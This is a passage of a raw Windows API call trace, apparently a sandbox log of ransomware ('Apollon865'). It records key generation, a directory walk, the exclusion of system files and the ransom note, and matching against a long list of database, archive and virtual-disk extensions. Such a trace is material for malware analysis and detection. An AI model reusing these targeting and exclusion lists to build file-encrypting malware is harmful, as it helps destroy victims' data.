	[0076.020] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.021] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.021] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.021] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91c80, lpName=0x0) returned 0x118
	[0076.023] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91c80) returned 0x4d0000
	[0076.054] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.055] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.055] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0076.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0076.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.055] UnmapViewOfFile (lpBaseAddress=0x4d0000) returned 1
	[0076.061] CloseHandle (hObject=0x118) returned 1
	[0076.061] CloseHandle (hObject=0x15c) returned 1
	[0076.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.061] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.063] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455ebd90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x455ebd90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.064] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.064] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="Apollon865.txt.exe") returned 1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2=".") returned 1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="..") returned 1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="windows") returned -1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="bootmgr") returned 1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="temp") returned -1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="pagefile.sys") returned -1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="boot") returned 1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="ids.txt") returned 1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="ntuser.dat") returned 1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="perflogs") returned -1
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2="MSBuild") returned 1
	[0076.064] lstrlenW (lpString="OCT.CHM") returned 7
	[0076.064] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0076.064] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="OCT.CHM" | out: lpString1="OCT.CHM") returned="OCT.CHM"
	[0076.064] lstrlenW (lpString="OCT.CHM") returned 7
	[0076.064] lstrlenW (lpString="Apollon865") returned 10
	[0076.064] lstrlenW (lpString=".dll") returned 4
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2=".dll") returned 1
	[0076.064] lstrlenW (lpString=".lnk") returned 4
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2=".lnk") returned 1
	[0076.064] lstrlenW (lpString=".ini") returned 4
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2=".ini") returned 1
	[0076.064] lstrlenW (lpString=".sys") returned 4
	[0076.064] lstrcmpiW (lpString1="OCT.CHM", lpString2=".sys") returned 1
	[0076.064] lstrlenW (lpString="OCT.CHM") returned 7
	[0076.064] lstrlenW (lpString="bak") returned 3
	[0076.064] lstrcmpiW (lpString1="CHM", lpString2="bak") returned 1
	[0076.064] lstrlenW (lpString="ba_") returned 3
	[0076.064] lstrcmpiW (lpString1="CHM", lpString2="ba_") returned 1
	[0076.064] lstrlenW (lpString="dbb") returned 3
	[0076.064] lstrcmpiW (lpString1="CHM", lpString2="dbb") returned -1
	[0076.064] lstrlenW (lpString="vmdk") returned 4
	[0076.064] lstrcmpiW (lpString1=".CHM", lpString2="vmdk") returned -1
	[0076.065] lstrlenW (lpString="rar") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="rar") returned -1
	[0076.065] lstrlenW (lpString="zip") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="zip") returned -1
	[0076.065] lstrlenW (lpString="tgz") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="tgz") returned -1
	[0076.065] lstrlenW (lpString="vbox") returned 4
	[0076.065] lstrcmpiW (lpString1=".CHM", lpString2="vbox") returned -1
	[0076.065] lstrlenW (lpString="vdi") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="vdi") returned -1
	[0076.065] lstrlenW (lpString="vhd") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="vhd") returned -1
	[0076.065] lstrlenW (lpString="vhdx") returned 4
	[0076.065] lstrcmpiW (lpString1=".CHM", lpString2="vhdx") returned -1
	[0076.065] lstrlenW (lpString="avhd") returned 4
	[0076.065] lstrcmpiW (lpString1=".CHM", lpString2="avhd") returned -1
	[0076.065] lstrlenW (lpString="db") returned 2
	[0076.065] lstrcmpiW (lpString1="HM", lpString2="db") returned 1
	[0076.065] lstrlenW (lpString="db2") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="db2") returned -1
	[0076.065] lstrlenW (lpString="db3") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="db3") returned -1
	[0076.065] lstrlenW (lpString="dbf") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="dbf") returned -1
	[0076.065] lstrlenW (lpString="mdf") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="mdf") returned -1
	[0076.065] lstrlenW (lpString="mdb") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="mdb") returned -1
	[0076.065] lstrlenW (lpString="sql") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="sql") returned -1
	[0076.065] lstrlenW (lpString="sqlite") returned 6
	[0076.065] lstrcmpiW (lpString1="CT.CHM", lpString2="sqlite") returned -1
	[0076.065] lstrlenW (lpString="sqlite3") returned 7
	[0076.065] lstrlenW (lpString="sqlitedb") returned 8
	[0076.065] lstrlenW (lpString="xml") returned 3
	[0076.065] lstrcmpiW (lpString1="CHM", lpString2="xml") returned -1
	[0076.065] lstrlenW (lpString="$er") returned 3
	[0076.066] lstrcmpiW (lpString1="CHM", lpString2="$er") returned 1
	[0076.066] lstrlenW (lpString="4dd") returned 3
	[0076.066] lstrcmpiW (lpString1="CHM", lpString2="4dd") returned 1
	[0076.066] lstrlenW (lpString="4dl") returned 3
	[0076.066] lstrcmpiW (lpString1="CHM", lpString2="4dl") returned 1
	[0076.066] lstrlenW (lpString="^^^") returned 3
	[0076.066] lstrcmpiW (lpString1="CHM", lpString2="^^^") returned 1
	[0076.066] lstrlenW (lpString="abs") returned 3
	[0076.066] lstrcmpiW (lpString1="CHM", lpString2="abs") returned 1
	[0076.066] lstrlenW (lpString="abx") returned 3
	[0076.066] lstrcmpiW (lpString1="CHM", lpString2="abx") returned 1
	[0076.066] lstrlenW (lpString="accdb") returned 5
	[0076.066] lstrcmpiW (lpString1="T.CHM", lpString2="accdb") returned 1
	[0076.066] lstrlenW (lpString="accdc") returned 5
	[0076.066] lstrcmpiW (lpString1="T.CHM", lpString2="accdc") returned 1
	[0076.066] lstrlenW (lpString="accde") returned 5
	[0076.066] lstrcmpiW (lpString1="T.CHM", lpString2="accde") returned 1
	[0076.066] lstrlenW (lpString="accdr") returned 5
	[0076.066] lstrcmpiW (lpString1="T.CHM", lpString2="accdr") returned 1
	[0076.067] lstrlenW (lpString="accdt") returned 5
	[0076.067] lstrcmpiW (lpString1="T.CHM", lpString2="accdt") returned 1
	[0076.067] lstrlenW (lpString="accdw") returned 5
	[0076.067] lstrcmpiW (lpString1="T.CHM", lpString2="accdw") returned 1
	[0076.067] lstrlenW (lpString="accft") returned 5
	[0076.067] lstrcmpiW (lpString1="T.CHM", lpString2="accft") returned 1
	[0076.067] lstrlenW (lpString="adb") returned 3
	[0076.067] lstrcmpiW (lpString1="CHM", lpString2="adb") returned 1
	[0076.067] lstrlenW (lpString="adb") returned 3
	[0076.067] lstrcmpiW (lpString1="CHM", lpString2="adb") returned 1
	[0076.067] lstrlenW (lpString="ade") returned 3
	[0076.067] lstrcmpiW (lpString1="CHM", lpString2="ade") returned 1
	[0076.068] lstrlenW (lpString="adf") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="adf") returned 1
	[0076.068] lstrlenW (lpString="adn") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="adn") returned 1
	[0076.068] lstrlenW (lpString="adp") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="adp") returned 1
	[0076.068] lstrlenW (lpString="alf") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="alf") returned 1
	[0076.068] lstrlenW (lpString="ask") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="ask") returned 1
	[0076.068] lstrlenW (lpString="btr") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="btr") returned 1
	[0076.068] lstrlenW (lpString="cat") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="cat") returned 1
	[0076.068] lstrlenW (lpString="cdb") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="cdb") returned 1
	[0076.068] lstrlenW (lpString="ckp") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="ckp") returned -1
	[0076.068] lstrlenW (lpString="cma") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="cma") returned -1
	[0076.068] lstrlenW (lpString="cpd") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="cpd") returned -1
	[0076.068] lstrlenW (lpString="dacpac") returned 6
	[0076.068] lstrcmpiW (lpString1="CT.CHM", lpString2="dacpac") returned -1
	[0076.068] lstrlenW (lpString="dad") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="dad") returned -1
	[0076.068] lstrlenW (lpString="dadiagrams") returned 10
	[0076.068] lstrlenW (lpString="daschema") returned 8
	[0076.068] lstrlenW (lpString="db-journal") returned 10
	[0076.068] lstrlenW (lpString="db-shm") returned 6
	[0076.068] lstrcmpiW (lpString1="CT.CHM", lpString2="db-shm") returned -1
	[0076.068] lstrlenW (lpString="db-wal") returned 6
	[0076.068] lstrcmpiW (lpString1="CT.CHM", lpString2="db-wal") returned -1
	[0076.068] lstrlenW (lpString="dbc") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="dbc") returned -1
	[0076.068] lstrlenW (lpString="dbs") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="dbs") returned -1
	[0076.068] lstrlenW (lpString="dbt") returned 3
	[0076.068] lstrcmpiW (lpString1="CHM", lpString2="dbt") returned -1
	[0076.069] lstrlenW (lpString="dbv") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dbv") returned -1
	[0076.069] lstrlenW (lpString="dbx") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dbx") returned -1
	[0076.069] lstrlenW (lpString="dcb") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dcb") returned -1
	[0076.069] lstrlenW (lpString="dct") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dct") returned -1
	[0076.069] lstrlenW (lpString="dcx") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dcx") returned -1
	[0076.069] lstrlenW (lpString="ddl") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="ddl") returned -1
	[0076.069] lstrlenW (lpString="dlis") returned 4
	[0076.069] lstrcmpiW (lpString1=".CHM", lpString2="dlis") returned -1
	[0076.069] lstrlenW (lpString="dp1") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dp1") returned -1
	[0076.069] lstrlenW (lpString="dqy") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dqy") returned -1
	[0076.069] lstrlenW (lpString="dsk") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dsk") returned -1
	[0076.069] lstrlenW (lpString="dsn") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dsn") returned -1
	[0076.069] lstrlenW (lpString="dtsx") returned 4
	[0076.069] lstrcmpiW (lpString1=".CHM", lpString2="dtsx") returned -1
	[0076.069] lstrlenW (lpString="dxl") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="dxl") returned -1
	[0076.069] lstrlenW (lpString="eco") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="eco") returned -1
	[0076.069] lstrlenW (lpString="ecx") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="ecx") returned -1
	[0076.069] lstrlenW (lpString="edb") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="edb") returned -1
	[0076.069] lstrlenW (lpString="epim") returned 4
	[0076.069] lstrcmpiW (lpString1=".CHM", lpString2="epim") returned -1
	[0076.069] lstrlenW (lpString="fcd") returned 3
	[0076.069] lstrcmpiW (lpString1="CHM", lpString2="fcd") returned -1
	[0076.070] lstrlenW (lpString="fdb") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fdb") returned -1
	[0076.070] lstrlenW (lpString="fic") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fic") returned -1
	[0076.070] lstrlenW (lpString="flexolibrary") returned 12
	[0076.070] lstrlenW (lpString="fm5") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fm5") returned -1
	[0076.070] lstrlenW (lpString="fmp") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fmp") returned -1
	[0076.070] lstrlenW (lpString="fmp12") returned 5
	[0076.070] lstrcmpiW (lpString1="T.CHM", lpString2="fmp12") returned 1
	[0076.070] lstrlenW (lpString="fmpsl") returned 5
	[0076.070] lstrcmpiW (lpString1="T.CHM", lpString2="fmpsl") returned 1
	[0076.070] lstrlenW (lpString="fol") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fol") returned -1
	[0076.070] lstrlenW (lpString="fp3") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fp3") returned -1
	[0076.070] lstrlenW (lpString="fp4") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fp4") returned -1
	[0076.070] lstrlenW (lpString="fp5") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fp5") returned -1
	[0076.070] lstrlenW (lpString="fp7") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fp7") returned -1
	[0076.070] lstrlenW (lpString="fpt") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="fpt") returned -1
	[0076.070] lstrlenW (lpString="frm") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="frm") returned -1
	[0076.070] lstrlenW (lpString="gdb") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="gdb") returned -1
	[0076.070] lstrlenW (lpString="gdb") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="gdb") returned -1
	[0076.070] lstrlenW (lpString="grdb") returned 4
	[0076.070] lstrcmpiW (lpString1=".CHM", lpString2="grdb") returned -1
	[0076.070] lstrlenW (lpString="gwi") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="gwi") returned -1
	[0076.070] lstrlenW (lpString="hdb") returned 3
	[0076.070] lstrcmpiW (lpString1="CHM", lpString2="hdb") returned -1
	[0076.071] lstrlenW (lpString="his") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="his") returned -1
	[0076.071] lstrlenW (lpString="ib") returned 2
	[0076.071] lstrcmpiW (lpString1="HM", lpString2="ib") returned -1
	[0076.071] lstrlenW (lpString="idb") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="idb") returned -1
	[0076.071] lstrlenW (lpString="ihx") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="ihx") returned -1
	[0076.071] lstrlenW (lpString="itdb") returned 4
	[0076.071] lstrcmpiW (lpString1=".CHM", lpString2="itdb") returned -1
	[0076.071] lstrlenW (lpString="itw") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="itw") returned -1
	[0076.071] lstrlenW (lpString="jet") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="jet") returned -1
	[0076.071] lstrlenW (lpString="jtx") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="jtx") returned -1
	[0076.071] lstrlenW (lpString="kdb") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="kdb") returned -1
	[0076.071] lstrlenW (lpString="kexi") returned 4
	[0076.071] lstrcmpiW (lpString1=".CHM", lpString2="kexi") returned -1
	[0076.071] lstrlenW (lpString="kexic") returned 5
	[0076.071] lstrcmpiW (lpString1="T.CHM", lpString2="kexic") returned 1
	[0076.071] lstrlenW (lpString="kexis") returned 5
	[0076.071] lstrcmpiW (lpString1="T.CHM", lpString2="kexis") returned 1
	[0076.071] lstrlenW (lpString="lgc") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="lgc") returned -1
	[0076.071] lstrlenW (lpString="lwx") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="lwx") returned -1
	[0076.071] lstrlenW (lpString="maf") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="maf") returned -1
	[0076.071] lstrlenW (lpString="maq") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="maq") returned -1
	[0076.071] lstrlenW (lpString="mar") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="mar") returned -1
	[0076.071] lstrlenW (lpString="marshal") returned 7
	[0076.071] lstrlenW (lpString="mas") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="mas") returned -1
	[0076.071] lstrlenW (lpString="mav") returned 3
	[0076.071] lstrcmpiW (lpString1="CHM", lpString2="mav") returned -1
	[0076.072] lstrlenW (lpString="maw") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="maw") returned -1
	[0076.072] lstrlenW (lpString="mdbhtml") returned 7
	[0076.072] lstrlenW (lpString="mdn") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="mdn") returned -1
	[0076.072] lstrlenW (lpString="mdt") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="mdt") returned -1
	[0076.072] lstrlenW (lpString="mfd") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="mfd") returned -1
	[0076.072] lstrlenW (lpString="mpd") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="mpd") returned -1
	[0076.072] lstrlenW (lpString="mrg") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="mrg") returned -1
	[0076.072] lstrlenW (lpString="mud") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="mud") returned -1
	[0076.072] lstrlenW (lpString="mwb") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="mwb") returned -1
	[0076.072] lstrlenW (lpString="myd") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="myd") returned -1
	[0076.072] lstrlenW (lpString="ndf") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="ndf") returned -1
	[0076.072] lstrlenW (lpString="nnt") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="nnt") returned -1
	[0076.072] lstrlenW (lpString="nrmlib") returned 6
	[0076.072] lstrcmpiW (lpString1="CT.CHM", lpString2="nrmlib") returned -1
	[0076.072] lstrlenW (lpString="ns2") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="ns2") returned -1
	[0076.072] lstrlenW (lpString="ns3") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="ns3") returned -1
	[0076.072] lstrlenW (lpString="ns4") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="ns4") returned -1
	[0076.072] lstrlenW (lpString="nsf") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="nsf") returned -1
	[0076.072] lstrlenW (lpString="nv") returned 2
	[0076.072] lstrcmpiW (lpString1="HM", lpString2="nv") returned -1
	[0076.072] lstrlenW (lpString="nv2") returned 3
	[0076.072] lstrcmpiW (lpString1="CHM", lpString2="nv2") returned -1
	[0076.072] lstrlenW (lpString="nwdb") returned 4
	[0076.072] lstrcmpiW (lpString1=".CHM", lpString2="nwdb") returned -1
	[0076.073] lstrlenW (lpString="nyf") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="nyf") returned -1
	[0076.073] lstrlenW (lpString="odb") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="odb") returned -1
	[0076.073] lstrlenW (lpString="odb") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="odb") returned -1
	[0076.073] lstrlenW (lpString="oqy") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="oqy") returned -1
	[0076.073] lstrlenW (lpString="ora") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="ora") returned -1
	[0076.073] lstrlenW (lpString="orx") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="orx") returned -1
	[0076.073] lstrlenW (lpString="owc") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="owc") returned -1
	[0076.073] lstrlenW (lpString="p96") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="p96") returned -1
	[0076.073] lstrlenW (lpString="p97") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="p97") returned -1
	[0076.073] lstrlenW (lpString="pan") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="pan") returned -1
	[0076.073] lstrlenW (lpString="pdb") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="pdb") returned -1
	[0076.073] lstrlenW (lpString="pdm") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="pdm") returned -1
	[0076.073] lstrlenW (lpString="pnz") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="pnz") returned -1
	[0076.073] lstrlenW (lpString="qry") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="qry") returned -1
	[0076.073] lstrlenW (lpString="qvd") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="qvd") returned -1
	[0076.073] lstrlenW (lpString="rbf") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="rbf") returned -1
	[0076.073] lstrlenW (lpString="rctd") returned 4
	[0076.073] lstrcmpiW (lpString1=".CHM", lpString2="rctd") returned -1
	[0076.073] lstrlenW (lpString="rod") returned 3
	[0076.073] lstrcmpiW (lpString1="CHM", lpString2="rod") returned -1
	[0076.073] lstrlenW (lpString="rodx") returned 4
	[0076.074] lstrcmpiW (lpString1=".CHM", lpString2="rodx") returned -1
	[0076.074] lstrlenW (lpString="rpd") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="rpd") returned -1
	[0076.074] lstrlenW (lpString="rsd") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="rsd") returned -1
	[0076.074] lstrlenW (lpString="sas7bdat") returned 8
	[0076.074] lstrlenW (lpString="sbf") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="sbf") returned -1
	[0076.074] lstrlenW (lpString="scx") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="scx") returned -1
	[0076.074] lstrlenW (lpString="sdb") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="sdb") returned -1
	[0076.074] lstrlenW (lpString="sdc") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="sdc") returned -1
	[0076.074] lstrlenW (lpString="sdf") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="sdf") returned -1
	[0076.074] lstrlenW (lpString="sis") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="sis") returned -1
	[0076.074] lstrlenW (lpString="spq") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="spq") returned -1
	[0076.074] lstrlenW (lpString="te") returned 2
	[0076.074] lstrcmpiW (lpString1="HM", lpString2="te") returned -1
	[0076.074] lstrlenW (lpString="teacher") returned 7
	[0076.074] lstrlenW (lpString="tmd") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="tmd") returned -1
	[0076.074] lstrlenW (lpString="tps") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="tps") returned -1
	[0076.074] lstrlenW (lpString="trc") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="trc") returned -1
	[0076.074] lstrlenW (lpString="trc") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="trc") returned -1
	[0076.074] lstrlenW (lpString="trm") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="trm") returned -1
	[0076.074] lstrlenW (lpString="udb") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="udb") returned -1
	[0076.074] lstrlenW (lpString="udl") returned 3
	[0076.074] lstrcmpiW (lpString1="CHM", lpString2="udl") returned -1
	[0076.074] lstrlenW (lpString="usr") returned 3
	[0076.075] lstrcmpiW (lpString1="CHM", lpString2="usr") returned -1
	[0076.075] lstrlenW (lpString="v12") returned 3
	[0076.075] lstrcmpiW (lpString1="CHM", lpString2="v12") returned -1
	[0076.075] lstrlenW (lpString="vis") returned 3
	[0076.075] lstrcmpiW (lpString1="CHM", lpString2="vis") returned -1
	[0076.075] lstrlenW (lpString="vpd") returned 3
	[0076.075] lstrcmpiW (lpString1="CHM", lpString2="vpd") returned -1
	[0076.075] lstrlenW (lpString="vvv") returned 3
	[0076.075] lstrcmpiW (lpString1="CHM", lpString2="vvv") returned -1
	[0076.075] lstrlenW (lpString="wdb") returned 3
	[0076.075] lstrcmpiW (lpString1="CHM", lpString2="wdb") returned -1
	[0076.075] lstrlenW (lpString="wmdb") returned 4
